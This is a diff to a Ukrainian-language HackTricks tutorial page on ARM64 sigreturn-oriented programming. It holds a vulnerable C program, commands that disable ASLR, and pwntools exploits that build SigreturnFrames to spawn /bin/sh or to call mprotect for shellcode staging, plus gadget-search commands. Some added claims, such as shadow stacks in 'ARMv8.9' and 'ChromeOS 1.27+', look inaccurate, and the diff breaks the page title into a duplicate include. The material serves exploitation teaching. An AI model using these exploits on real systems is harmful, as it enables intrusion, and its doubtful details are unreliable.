diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index 534845933..42092bba4 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,4 +1,4 @@
-# SROP - ARM64
+# {{#include ../../../banners/hacktricks-training.md}}
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -32,7 +32,7 @@ p = process(binary.path)
 p.send(bytes(frame))
 p.interactive()
 ```
-## приклад переповнення буфера
+## bof приклад
 
 ### Код
 ```c
@@ -67,14 +67,14 @@ do_stuff(2);
 return 0;
 }
 ```
-Скомпілюйте його з:
+Скомпілюйте це з:
 ```bash
 clang -o srop srop.c -fno-stack-protector
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR
 ```
 ## Exploit
 
-Експлойт використовує bof, щоб повернутися до виклику **`sigreturn`** і підготувати стек для виклику **`execve`** з вказівником на `/bin/sh`.
+Експлойт використовує bof, щоб повернутися до виклику **`sigreturn`** та підготувати стек для виклику **`execve`** з вказівником на `/bin/sh`.
 ```python
 from pwn import *
 
@@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
 stack_offset = 72
 
 sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4  # svc	#0x0
+svc_call = 0x00000000004006e4  # svc    #0x0
 
 frame = SigreturnFrame()
 frame.x8 = 0xdd            # syscall number for execve
@@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
 stack_offset = 72
 
 sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4  # svc	#0x0
+svc_call = 0x00000000004006e4  # svc    #0x0
 
 frame = SigreturnFrame()
 frame.x8 = 0xdd            # syscall number for execve
@@ -165,7 +165,7 @@ payload += bytes(frame)
 p.sendline(payload)
 p.interactive()
 ```
-Для отримання додаткової інформації про vdso перегляньте:
+Для отримання додаткової інформації про vdso перевірте:
 
 {{#ref}}
 ../ret2vdso.md
@@ -177,4 +177,53 @@ p.interactive()
 ../../common-binary-protections-and-bypasses/aslr/
 {{#endref}}
 
+---
+
+## Автоматичне знаходження гаджетів `sigreturn` (2023-2025)
+
+У сучасних дистрибутивах `sigreturn` тромпліна все ще експортується сторінкою **vDSO**, але точний зсув може варіюватися в залежності від версій ядра та параметрів збірки, таких як BTI (`+branch-protection`) або PAC. Автоматизація його виявлення запобігає жорсткому кодуванню зсувів:
+```bash
+# With ROPgadget ≥ 7.4
+python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
+
+# With rp++ ≥ 1.0.9 (arm64 support)
+rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn
+```
+Обидва інструменти розуміють **AArch64** кодування і перерахують кандидатні `mov x8, 0x8b ; svc #0` послідовності, які можна використовувати як *SROP gadget*.
+
+> Примітка: Коли бінарні файли компілюються з **BTI**, перша інструкція кожної дійсної цілі непрямого переходу є `bti c`. `sigreturn` тромпліни, розміщені компілятором, вже містять правильну BTI приземну платформу, тому гаджет залишається придатним для використання з неправа кодом.
+
+## Зв'язування SROP з ROP (поворот через `mprotect`)
+
+`rt_sigreturn` дозволяє нам контролювати *всі* загальні регістри і `pstate`. Загальний шаблон на x86: 1) використовувати SROP для виклику `mprotect`, 2) повертатися до нового виконуваного стеку, що містить shell-code. Точно така ж ідея працює на ARM64:
+```python
+frame = SigreturnFrame()
+frame.x8 = constants.SYS_mprotect   # 226
+frame.x0 = 0x400000                # page-aligned stack address
+frame.x1 = 0x2000                  # size
+frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
+frame.sp = 0x400000 + 0x100        # new pivot
+frame.pc = svc_call                # will re-enter kernel
+```
+Після відправлення кадру ви можете надіслати другий етап, що містить сирий shell-код за адресою `0x400000+0x100`. Оскільки **AArch64** використовує *PC-relative* адресацію, це часто зручніше, ніж будувати великі ROP-ланцюги.
+
+## Валідація ядра, PAC та Shadow-Stacks
+
+Linux 5.16 ввів більш сувору валідацію сигналів користувацького простору (коміт `36f5a6c73096`). Ядро тепер перевіряє:
+
+* `uc_flags` повинен містити `UC_FP_XSTATE`, коли присутній `extra_context`.
+* Зарезервоване слово в `struct rt_sigframe` повинно бути нульовим.
+* Кожен вказівник у запису *extra_context* вирівняний і вказує всередину адресного простору користувача.
+
+`pwntools>=4.10` автоматично створює відповідні кадри, але якщо ви створюєте їх вручну, переконайтеся, що ви ініціалізували *reserved* нулями і пропустіть запис SVE, якщо ви дійсно не потребуєте його — в іншому випадку `rt_sigreturn` поверне `SIGSEGV` замість повернення.
+
+Починаючи з основного Android 14 та Fedora 38, користувацький простір компілюється з увімкненими за замовчуванням **PAC** (*Pointer Authentication*) та **BTI** (`-mbranch-protection=standard`). *SROP* сам по собі не підлягає впливу, оскільки ядро безпосередньо перезаписує `PC` з підготовленого кадру, обходячи автентифікований LR, збережений на стеку; однак будь-який **наступний ROP-ланцюг**, який виконує непрямі переходи, повинен переходити до інструкцій з увімкненим BTI або PAC-адресам. Майте це на увазі при виборі гаджетів.
+
+Shadow-Call-Stacks, введені в ARMv8.9 (і вже увімкнені на ChromeOS 1.27+), є мірою пом'якшення на рівні компілятора і *не* заважають SROP, оскільки жодні інструкції повернення не виконуються — потік управління передається ядром.
+
+## Посилання
+
+* [Документація з обробки сигналів Linux arm64](https://docs.kernel.org/arch/arm64/signal.html)
+* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
+
 {{#include ../../../banners/hacktricks-training.md}}